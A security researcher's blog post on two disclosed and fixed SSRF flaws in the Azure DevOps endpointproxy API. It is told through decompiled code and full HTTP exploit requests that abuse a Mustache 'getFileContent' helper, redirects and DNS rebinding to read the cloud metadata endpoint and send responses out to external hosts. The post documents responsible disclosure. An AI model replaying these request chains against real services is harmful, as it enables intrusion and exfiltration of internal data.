Finding SSRFs in Azure DevOps - Part 2

Posted by Sofia Lindqvist on May 30, 2025 · 30 mins read

Binary Security was previously rewarded for three Server-Side Request Forgery (SSRF) vulnerabilities in Azure DevOps, which you can read about here. Now we have found another SSRF vulnerability that we also reported to Microsoft. We then bypassed Microsoft’s fix of the vulnerability using DNS rebinding. If you read the previous blogpost, some of this may feel a bit like deja-vu. This blog post outlines how these new SSRFs were identified by analyzing the Azure DevOps source code.

Background

If you have not already read the previous blog post by my colleague Torjus then I strongly suggest you start there.

Torjus previously found an SSRF vulnerability in the /serviceendpoint/endpointproxy API in Azure DevOps. This API is used e.g. when creating Service Connections and when setting up a resource in a pipeline environment. So, if one configures e.g. a Kubernetes resource from a custom provider a request looking something like the following is sent:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
Host: dev.azure.com
Cookie: <...cookies...>
Authorization: Bearer <bearer token>
<...other headers...>

{
    "serviceEndpointDetails":{
        "data":{
            "authorizationType":"ServiceAccount"
        },
        "name":"a-somenamespace-1738848221876",
        "type":"kubernetes",
        "url":"https://some-custom-provider.com",
        "authorization":{
            "scheme":"Token",
            "parameters":{
                "apiToken":"YQ==",
                "serviceAccountCertificate":"bla",
                "isCreatedFromSecretYaml":false
            }
        }
    },
    "dataSourceDetails":{
        "dataSourceName":"TestKubernetesNamespaceConnection",
        "dataSourceUrl":"",
        "headers":[],
        "requestContent":"",
        "requestVerb":"",
        "resourceUrl":"",
        "parameters":{
            "KubernetesNamespace":"somenamespace"
        },
        "resultSelector":"",
        "initialContextTemplate":""
    },
    "resultTransformationDetails":{
        "resultTemplate":"",
        "callbackContextTemplate":"",
        "callbackRequiredTemplate":""
    }
}

Torjus found that there are two particularly interesting parameters here. Firstly, setting the serviceEndpointDetails.url value to an attacker-controlled URL will result in a callback from the server. Unfortunately, requests to internal IPs like 127.0.0.1 and certain special IP ranges, including the metadata endpoint IP 169.254.169.254, are blocked by the server. He next found that the dataSourceDetails.dataSourceUrl can be used if one sets the dataSourceDetails.dataSourceName to "". Attempting to set it gives a helpful error message indicating that it needs to start with one of the special template strings {{configuration.Url}} or {{endpoint.url}}. The baseline request for an SSRF to https://attacker.com/my/path is then:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
Host: dev.azure.com
Cookie: <...cookies...>
Authorization: Bearer <bearer token>
<...other headers...>

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "a-somenamespace-1738848221876",
        "type": "kubernetes",
        "url": "https://attacker.com",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/my/path",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "somenamespace"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}

We test this with a Burp Collaborator payload:

In Torjus' initial payload the key fields are the `url` and `dataSourceUrl`.

This results in a callback to the specified path:

Sending the above request with an attacker-controlled URL resolves in the following callback.

Check out the first post to see how to view the response of the server-side request.

Torjus’ initial finding was that using this method one could communicate with internal services and metadata endpoints. Microsoft fixed this by restricting which IPs are allowed. Torjus proceeded to bypass the fix using DNS rebinding, and then Microsoft issued another fix. As far as I’m aware it is not possible to bypass this latest fix.

Source Code & Debugging

In addition to the cloud version (referred to as Azure DevOps Services), one can run Azure DevOps on-premises (referred to as Azure DevOps Server). The on-prem version is written in C#, and can thus be trivially decompiled. We assumed that the on-prem and cloud code would be very similar, and this was therefore potentially an excellent route for gaining more insight into the API endpoint above. For the investigations described in this post, I simply installed Azure DevOps Server in a VM on my laptop.

I wanted to debug the process dynamically using dnSpy. I started dnSpy as administrator and connected to w3wp.exe. Then in the modules window (ctrl+alt+U), right click and select “Open all Modules”. We now have Azure DevOps Server running in a debugger, and can set breakpoints, view local variables, etc.

In order to export the decompiled source code, select “Export to Project”.

This is what it looks like when running Azure DevOps Server under dnSpy:

Azure DevOps Server running in dnSpy.

Mustache Templating

My colleague Christian has also looked into the source code, and pointed me to some interesting functionality in the templating syntax of the dataSourceUrl value. Recall that the value has to start with either {{configuration.Url}} or {{endpoint.url}}, which clearly is some form of templating.

Calls to the /serviceendpoint/endpointproxy API are passed through to the PlatformEndpointProxyService class in Microsoft.Azure.DevOps.ServiceEndpoints.Server.dll. The {{}}-template variables are handled with this bit of code:

JToken jtoken = EndpointMustacheHelper.CreateReplacementContext(serviceEndpoint2, wellKnownParameters, scopeIdentifier, authConfiguration, serviceEndpointRequest.DataSourceDetails.InitialContextTemplate, serviceEndpointType, null);
EndpointStringResolver endpointStringResolver = new EndpointStringResolver(jtoken);
// ...
serviceEndpointRequest.DataSourceDetails.DataSourceUrl = endpointStringResolver.ResolveVariablesInMustacheFormat(serviceEndpointRequest.DataSourceDetails.DataSourceUrl);

where in turn endpointStringResolver.ResolveVariablesInMustacheFormat is defined as:

public string ResolveVariablesInMustacheFormat(string template)
{
    return new MustacheTemplateEngine().EvaluateTemplate(template, this.replacementContext);
}

Mustache templates are so-called logic-less templates, and one of its “features” is that the templating language is so trivial that one cannot do things like remote code execution (RCE) by injecting into a Mustache template. What happens is that EvaluateTemplate takes a template string and some context, and then each template tag (e.g. {{some-key}}) is replaced by the matching value from the context. So for example, if the context looks like

{
    "configuration": {
        "Url": "https://some.url.com"
    }
}

and the template is {{configuration.Url}}/api, then it evaluates to https://some.url.com/api.

The first thing to check here is what kind of values are set in the context, and whether there is anything interesting we can leak. In Mustache the special syntax {{.}} refers to the current item, so if we are outside of a section this will refer to the entire context. We test this with the following request:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
Host: dev.azure.com
Authorization: Bearer <token>
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=true
Content-Type: application/json
Content-Length: 692

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "test-hm-1738844347976",
        "type": "kubernetes",
        "url": "https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/{{.}}",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "hm"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}

which results in a callback:

GET /%7B%0D%0A%20%20&quot;endpoint&quot;:%20%7B%0D%0A%20%20%20%20&quot;authorizationType&quot;:%20&quot;ServiceAccount&quot;,%0D%0A%20%20%20%20&quot;url&quot;:%20&quot;https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud/&quot;%0D%0A%20%20%7D,%0D%0A%20%20&quot;configuration&quot;:%20null,%0D%0A%20%20&quot;system&quot;:%20%7B%0D%0A%20%20%20%20&quot;teamProject&quot;:%20&quot;1c626689-1520-497a-bd73-dc480e6bb93b&quot;%0D%0A%20%20%7D,%0D%0A%20%20&quot;systemWhiteListedUrlList&quot;:%20[%0D%0A%20%20%20%20&quot;https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud/&quot;%0D%0A%20%20],%0D%0A%20%20&quot;RedirectUrl&quot;:%20&quot;https://dev.azure.com/sofia0331/_admin/oauth2/callback&quot;,%0D%0A%20%20&quot;KubernetesNamespace&quot;:%20&quot;hm&quot;%0D%0A%7D HTTP/1.1
Accept: application/json
User-Agent: vsts-serviceendpointproxy-service/v.19.250.35805.2 (EndpointId/0)
Authorization: Bearer a
Host: etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud
Request-Context: appId=cid-v1:0cc0e688-cf14-42b5-9911-f427a40700f1
Request-Id: |2cc354b61febd03b89fefaefdbb59f6d.0387ce41f425397e.
traceparent: 00-2cc354b61febd03b89fefaefdbb59f6d-0387ce41f425397e-00
Connection: Keep-Alive


The path URL-decoded is:

/{
  "endpoint": {
    "authorizationType": "ServiceAccount",
    "url": "https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud/"
  },
  "configuration": null,
  "system": {
    "teamProject": "1c626689-1520-497a-bd73-dc480e6bb93b"
  },
  "systemWhiteListedUrlList": [
    "https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud/"
  ],
  "RedirectUrl": "https://dev.azure.com/sofia0331/_admin/oauth2/callback",
  "KubernetesNamespace": "hm"
}

So nothing terribly interesting.

Instead, we look closer at what happens when evaluating the template:

public string EvaluateTemplate(string template, JToken replacementContext)
{
    CancellationTokenSource cancellationTokenSource = new CancellationTokenSource();
    MustacheOptions mustacheOptions = new MustacheOptions
    {
        MaxDepth = 20,
        CancellationToken = cancellationTokenSource.Token
    };
    string text;
    try
    {
        cancellationTokenSource.CancelAfter(MustacheTemplateEngine.MaxTimeOutInSeconds * 1000);
        MustacheTemplateParser mustacheTemplateParser = new MustacheTemplateParser(true, true, null, mustacheOptions);
        this.RegisterHelpers(mustacheTemplateParser);
        text = mustacheTemplateParser.ReplaceValues(template, replacementContext);
    }
    catch (OperationCanceledException)
    {
        throw new ServiceEndpointQueryFailedException(Resources.TemplateEvaluationTimeExceeded(template, MustacheTemplateEngine.MaxTimeOutInSeconds * 1000));
    }
    catch (MustacheExpressionInvalidException ex)
    {
        throw new ServiceEndpointQueryFailedException(ex.Message, ex);
    }
    catch (MustacheEvaluationResultLengthException ex2)
    {
        throw new ServiceEndpointQueryFailedException(ex2.Message, ex2);
    }
    finally
    {
        cancellationTokenSource.Dispose();
    }
    return text;
}

The RegisterHelpers method is particularly interesting. What it does is to set up a bunch of custom Mustache helpers, which are effectively function calls one can make in the template. The list of Mustache helpers can be seen in dnSpy:

The list of Mustache helpers that are registered.

For example, the #base64 helper is registered as:

private void RegisterHelpers(MustacheTemplateParser mustacheTemplateParser)
{
    //...
    string text6 = "#base64";
    MustacheTemplateHelperMethod mustacheTemplateHelperMethod6;
    if ((mustacheTemplateHelperMethod6 = MustacheTemplateEngine.<>O.<5>__Base64Helper) == null)
    {
        mustacheTemplateHelperMethod6 = (MustacheTemplateEngine.<>O.<5>__Base64Helper = new MustacheTemplateHelperMethod(MustacheTemplateHelpers.Base64Helper));
    }
    mustacheTemplateParser.RegisterHelper(text6, mustacheTemplateHelperMethod6);
    //...
}

which means that we can call the method MustacheTemplateHelpers.Base64Helper with e.g. the template string {{#base64 some value to encode}}.

One particularly interesting helper is the GetFileContentHelper, which does some checks and normalizing and then calls through to ProcessGetFileContentRequest:

private static string ProcessGetFileContentRequest(FileContentMustacheExpressionArguments arguments)
{
    string text = string.Empty;
    HttpWebRequest httpWebRequest = WebRequest.Create(arguments.Url) as HttpWebRequest;
    string text2 = Convert.ToBase64String(Encoding.UTF8.GetBytes("MustacheTemplateHelpers:" + arguments.AuthToken));
    httpWebRequest.ContentType = arguments.ContentType;
    httpWebRequest.Headers["Authorization"] = "Basic " + text2;
    httpWebRequest.Method = arguments.Method;
    httpWebRequest.Timeout = 20000;
    using (HttpWebResponse httpWebResponse = httpWebRequest.GetResponseAsync().Result as HttpWebResponse)
    {
        if (httpWebResponse.StatusCode == HttpStatusCode.OK)
        {
            using (Stream responseStream = httpWebResponse.GetResponseStream())
            {
                using (StreamReader streamReader = new StreamReader(responseStream))
                {
                    char[] array = new char[524288];
                    Task<int> task = streamReader.ReadBlockAsync(array, 0, 524288);
                    if (!task.Wait(20000))
                    {
                        throw new TimeoutException(Resources.HttpTimeoutException(20));
                    }
                    int result = task.Result;
                    if (!streamReader.EndOfStream)
                    {
                        throw new InvalidOperationException(Resources.FileContentResponseSizeExceeded());
                    }
                    string text3 = JsonConvert.ToString(new string(array, 0, result));
                    text = text3.Substring(1, text3.Length - 2);
                }
            }
        }
    }
    return text;
}

Note in particular that this uses HttpWebRequest (the System.Net version, not custom DevOps code) to make a request, and so this gadget allows us to trigger a second request from the Server. We test this with the following request (required arguments to the helper can be found in the code, the interesting one is the url):

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
<headers>

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "a-somenamespace-1738848221876",
        "type": "kubernetes",
        "url": "https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/{{ getFileContent {\"url\":\"https://dizu0tfik7atzi02ev74rlnix930rsjg8.bcollaborator.binsec.cloud\",\"authToken\":\"a\",\"Method\":\"GET\",\"contentType\":\"text/plain\"} }}",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "hm"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}


HTTP/1.1 500 Internal Server Error
<...>

{
    "$id": "1",
    "innerException": null,
    "message": "Request URL 'https://dizu0tfik7atzi02ev74rlnix930rsjg8.bcollaborator.binsec.cloud' is not an allowed URL. Use either service connection URL or current collection URL as request URL.",
    "typeName": "Microsoft.VisualStudio.Services.ServiceEndpoints.WebApi.ServiceEndpointQueryFailedException, Microsoft.VisualStudio.Services.ServiceEndpoints.WebApi",
    "typeKey": "ServiceEndpointQueryFailedException",
    "errorCode": 0,
    "eventId": 3000
}

Testing the getFileContents helper method.

This returns an error telling us that the URL we passed to getFileContent must match either the connection URL (i.e. the one we’ve specified as serviceEndpointDetails.url) or the current collection URL. Indeed, the “some checks” which I glossed over above, make sure that the hostname and protocol match a URL in the systemWhiteListedUrlList list that we saw when printing the template context previously. We test what happens in this case with the following request:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
<headers>

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "a-somenamespace-1738848221876",
        "type": "kubernetes",
        "url": "https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/{{ getFileContent {\"url\":\"https://etbvbuqjv8luajb3pwi52myj8ae12tthi.bcollaborator.binsec.cloud/inner-request\",\"authToken\":\"a\",\"Method\":\"GET\",\"contentType\":\"text/plain\"} }}",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "somenamespace"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}

Testing the getFileContents helper method with just one host.

This gives a callback to /inner-request:

There is a request made to /.

It also gives a callback to /%3Chtml%3E%3Cbody%3E9ar7zxziezztc6ll1c9op2zjjgkjgz%3C/body%3E%3C/html%3E, which is just the URL-encoded value returned by the server for the first request:

There is a callback made to the URL-encoded response of the first callback.

To recap where we’re at:

  • We can use the dataSourceUrl variable to make a request to an URL that cannot be in certain restricted IP ranges (restrictions added after Torjus reported his bugs).
  • We can use the getFileContent gadget to make a request to an URL (referred to from here on as the inner request), and then send a second request (referred to from here on as the outer request) to a URL on the same host, which contains the response from the first request, where the URL still cannot be in certain restricted IP ranges.

Redirections

Thanks to Torjus, there are various checks in place for the outer request, including checking the IP range and DNS pinning. However, the inner request has nothing of the sort. In particular, the inner request will follow redirects:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
<headers>

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "a-somenamespace-1738848221876",
        "type": "kubernetes",
        "url": "https://r.binsec.cloud",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/{{ getFileContent {\"url\":\"https://r.binsec.cloud/r?t=https%3a//4v0ldks9xynkc9dtrmkv4c09a0gr4jx7m.bcollaborator.binsec.cloud&c=302\",\"authToken\":\"a\",\"Method\":\"GET\",\"contentType\":\"text/plain\"} }}",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "somenamespace"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}

HTTP/1.1 200 OK
<...>

{
    "result": [],
    "statusCode": 404,
    "errormessage": "failed to query service connection api: 'https://r.binsec.cloud/<html><body>9ar7zxziezztc6ll1c9op2zjjgklgz</body></html>'. status code: 'notfound', response from server: 'path does not match any requirement uri template.'",
    "activityid": "fe86f4f6-150d-40ea-a6c7-a69050ca5d4c"
}

Here a request to https://r.binsec.cloud/r?t=https%3a//4v0ldks9xynkc9dtrmkv4c09a0gr4jx7m.bcollaborator.binsec.cloud&c=302 will simply return a 302 Found redirecting to the specified Burp Collaborator URL. We receive a callback on the collaborator, and see from the error message returned by the server above that it has tried to send the response from the collaborator in the outer request.

The Exploit

We now have all the pieces needed to try and prove some actual impact. The idea is as follows: use the getFileContent gadget to GET some path on an external server that redirects to an internal endpoint, and then read the response which is exfiltrated to the external server. As Torjus outlined in the first post, http://169.254.169.254/metadata/v1/instanceinfo is an excellent endpoint for proving impact, as it does not require the Metadata: True header. The Proof-Of-Concept thus becomes:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
<headers>

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "a-somenamespace-1738848221876",
        "type": "kubernetes",
        "url": "https://r.binsec.cloud",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/{{ getFileContent {\"url\":\"https://r.binsec.cloud/r?t=http%3a//169.254.169.254/metadata/v1/instanceinfo&c=302\",\"authToken\":\"test\",\"Method\":\"GET\",\"contentType\":\"text/plain\"} }}",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "somenamespace"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}


HTTP/1.1 200 OK
<...>

{"result":[],"statusCode":404,"errorMessage":"Failed to query service connection API: 'https://r.binsec.cloud/{/\"ID/\":/\"_tfsprodneu1_at_blue_10/\",/\"UD/\":/\"0/\",/\"FD/\":/\"0/\"}'. Status Code: 'NotFound', Response from server: 'Path does not match any requirement URI template.'","activityId":"38b5c495-aaab-483b-9113-f6fe26b18ba5"}

The final exploit returns the response of a GET request to `http://169.254.169.254/metadata/v1/instanceinfo`.

We see that the inner request was successful, and returned a response:

{"ID":"_tfsprodneu1_at_blue_10","UD":"0","FD":"0"}

This is the response from http://169.254.169.254/metadata/v1/instanceinfo, proving that we have an SSRF that can communicate with internal services.

The Fix

Nearly two months after reporting this vulnerability, Microsoft announced that it was fixed. I repeated the exploit, and indeed, this time I got the response:

"message":"Redirect response code is not supported. "

The request made by the `getFileContent` template helper is no longer following redirects.

Bypassing the fix with DNS Rebinding

This is where things start getting silly. If you read the previous blog post, this is where the deja vu comes in. Here is an excerpt from that post:

The previous blogpost about Azure DevOps SSRFs.

Given Torjus’ previous success, it was natural for me to try the same trick, namely bypassing the fix using DNS rebinding. The basic idea is that one has a domain which randomly resolves to two different IPs, with a very short TTL. This means that if two requests are made to the domain in rapid succession, then they may end up going to different IPs.

This can be used to bypass the IP check as follows. Pass the same host to both the inner and outer request, which resolves to either the metadata IP or an IP owned by the attacker. In order for this to work, in the inner request made by getFileContent, the host must resolve to the metadata IP. Then, in the outer request, it must resolve to my IP, so that I get the exfiltrated response from the first request. Naively, this should happen roughly one quarter of the time.

In order to do this we use https://github.com/taviso/rbndr. The host a5e85a54.a9fea9fe.rbndr.us resolves to one of two IPs.

Running nslookup a couple of times shows that the host resolves to two different IPs.

The exploit request becomes:

POST /sofia0331/test/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/1.1
<headers>

{
    "serviceEndpointDetails": {
        "data": {
            "authorizationType": "ServiceAccount"
        },
        "name": "test-hm-1738844347976",
        "type": "kubernetes",
        "url": "http://a5e85a54.a9fea9fe.rbndr.us/",
        "authorization": {
            "scheme": "Token",
            "parameters": {
                "apiToken": "YQ==",
                "serviceAccountCertificate": "bla",
                "isCreatedFromSecretYaml": false
            }
        }
    },
    "dataSourceDetails": {
        "dataSourceName": "",
        "dataSourceUrl": "{{configuration.Url}}/{{ getFileContent {\"url\":\"http://a5e85a54.a9fea9fe.rbndr.us/metadata/v1/instanceinfo\",\"authToken\":\"test\",\"Method\":\"GET\",\"contentType\":\"text/plain\"} }}",
        "headers": [],
        "requestContent": "",
        "requestVerb": "",
        "resourceUrl": "",
        "parameters": {
            "KubernetesNamespace": "hm"
        },
        "resultSelector": "",
        "initialContextTemplate": ""
    },
    "resultTransformationDetails": {
        "resultTemplate": "",
        "callbackContextTemplate": "",
        "callbackRequiredTemplate": ""
    }
}

My initial few requests were not promising. Either the host was resolving to the metadata IP when checking if the outer IP is allowed:

The exploit fails if the host resolves to the metadata IP for the outer request.

Or, the inner requests were going to my server, as seen from the server logs:

Lots of requests to `/metadata/v1/instanceinfo` arrive at my server.

However, as I was contemplating how to automate the testing process without my access token expiring, on manual request number 29 I got a hit:

HTTP/1.1 200 OK
<headers>

{
    "result": [],
    "statusCode": 404,
    "errorMessage": "Failed to query service connection API: 'http://a5e85a54.a9fea9fe.rbndr.us/{/\"ID/\":/\"_tfsprodneu1_at_blue_63071877/\",/\"UD/\":/\"0/\",/\"FD/\":/\"0/\"}'. Status Code: 'NotFound', Response from server: '<html>\r\n<head><title>404 Not Found</title></head>\r\n<body>\r\n<center><h1>404 Not Found</h1></center>\r\n<hr><center>nginx/1.26.0 (Ubuntu)</center>\r\n</body>\r\n</html>\r\n'",
    "activityId": "7acbb0ac-9f8b-468f-9e7e-e26eeb81b118"
}

The DNS rebinding exploit worked.

I reported this second vulnerability to Microsoft, and two months later it has also been fixed.

Final Thoughts

With the two bugs described in this blogpost, Binary Security has a total of four reported SSRF vulnerabilities on the /serviceendpoint/endpointproxy API, each with a payout of $5000. I’m curious if this is the record for the most payouts of the same bug type on the same endpoint.

I’m also curious if this endpoint has even more to offer, and perhaps more importantly, if it does, will DNS rebinding work as a bypass for yet another fix?

Timeline

  • February 6, 2025 - Reported the SSRF vulnerability to Microsoft (MSRC).
  • March 17, 2025 - Microsoft confirmed the behavior.
  • March 18, 2025 - $5000 bounty awarded under the Azure DevOps Bounty Program.
  • March 26, 2025 - Microsoft confirms that the first issue has been fixed.
  • March 27, 2025 - Reported the SSRF via DNS rebinding vulnerability to Microsoft.
  • April 25, 2025 - Microsoft confirmed the behavior.
  • April 28, 2025 - $5000 bounty awarded under the Azure DevOps Bounty Program.
  • May 29, 2025 - Microsoft confirms that the DNS rebinding issue has been fixed.